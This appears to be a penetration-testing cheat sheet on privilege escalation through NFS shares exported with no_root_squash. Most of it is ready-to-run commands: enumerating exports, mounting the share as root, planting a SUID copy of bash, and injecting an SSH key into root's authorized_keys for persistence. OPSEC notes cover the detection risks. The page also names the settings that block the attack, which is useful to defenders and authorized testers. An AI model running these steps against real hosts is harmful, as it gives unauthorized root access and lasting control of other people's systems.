NFS Exploitation

#Overview

Network File System (NFS) exports with the no_root_squash option allow a remote client to mount the share and create files with root ownership. If the exported directory is also writable and a SUID binary is placed there, the NFS client can escalate to root on the target machine. NFS misconfigurations are common in internal networks where convenience trumps security.

#Prerequisites

• Network access to an NFS server (often internal network only)
• showmount or rpcinfo to list exports
• Ability to mount NFS shares (root on attacker machine, or a compromised host)

#Detection & Enumeration

# List NFS exports (from compromised host or attacker machine)
showmount -e <target_ip>
showmount -e 10.10.11.200

# Check for NFS service
rpcinfo -p <target_ip> | grep nfs

# Once mounted, check export options
cat /proc/mounts | grep nfs
# Look for: rw,no_root_squash

# Scan for NFS (from attacker)
nmap -sV -p 111,2049 <target_ip>

#Exploitation / Execution

#no_root_squash: Mount and Create SUID Binary

# 1. On attacker machine (as root), mount the NFS share:
mkdir /mnt/nfs
mount -t nfs <target_ip>:/shared /mnt/nfs

# 2. Verify you can write as root:
touch /mnt/nfs/test
ls -la /mnt/nfs/test  # Should show root:root ownership

# 3. Create a SUID bash binary on the share:
cp /bin/bash /mnt/nfs/rootbash
chmod 4755 /mnt/nfs/rootbash
# Verify on the share: -rwsr-xr-x root root

# 4. On the target machine (as low-privilege user):
cd /mnt/shared  # or wherever the NFS share is mounted
./rootbash -p   # The -p flag preserves the SUID effective UID
id              # Should show euid=0(root)

#rw with no_root_squash

If the share has both rw and no_root_squash options:

# Any file created as root on the NFS client appears as root-owned on the server
# This includes SUID binaries, writable cron scripts, SSH authorized_keys

# Add SSH key for root access:
mkdir -p /mnt/nfs/root/.ssh
echo "ssh-rsa AAAA..." >> /mnt/nfs/root/.ssh/authorized_keys
# If /root is exported, this gives immediate SSH root access

# Modify /etc/passwd or /etc/shadow if exported

#NFSv4 ACL Issues

NFSv4 added complex ACL support which can be misconfigured:

# Check NFSv4 ACLs
nfs4_getfacl /mnt/nfs/

# Some NFSv4 implementations allow client-side uid/gid mapping
# If UID mapping is not enforced, you can create a local user with UID 0

#Alternative: From a Compromised Linux Host

If you have a low-privilege shell on the target itself:

# Check if target NFS server exports are mounted locally
mount | grep nfs

# If a share is mounted with no_root_squash, and you control a client machine:
# On the client (which could be your attacker box), mount and create SUID:
mount -t nfs localhost:/exports /mnt/nfs  # If the NFS server IS the local machine
# Or from another host on the network

#Common Pitfalls

• The attacker MUST mount the NFS share as root (UID 0) for no_root_squash to work
• root_squash (the default) maps root to nobody -- no SUID creation possible
• Some NFS configurations use all_squash which maps ALL users to nobody
• The SUID binary must be on a filesystem mounted with suid bit permitted (not nosuid)
• Modern NFS may use Kerberos authentication (sec=krb5) preventing unauthorized mounts
• NFSv4 defaults may differ from NFSv3 -- check version-specific behavior

#OPSEC Considerations

• Mounting an NFS share creates network traffic patterns (RPC, portmapper) visible to NIDS.
• Creating a SUID bash on an NFS share is very visible to file integrity monitoring.
• NFS mount operations are logged by rpc.mountd on the server.
• The showmount -e command is a standard reconnaissance tool and widely signatured.

#Post-Exploitation Value

NFS exploitation provides root access on the target via the SUID binary. If the NFS server exports home directories, SSH keys can be injected for persistent root access. If /etc or / is exported, full system compromise is immediate.

#Cross-References

#Tool References

#Source Machines

• Generic Linux machines with misconfigured NFS exports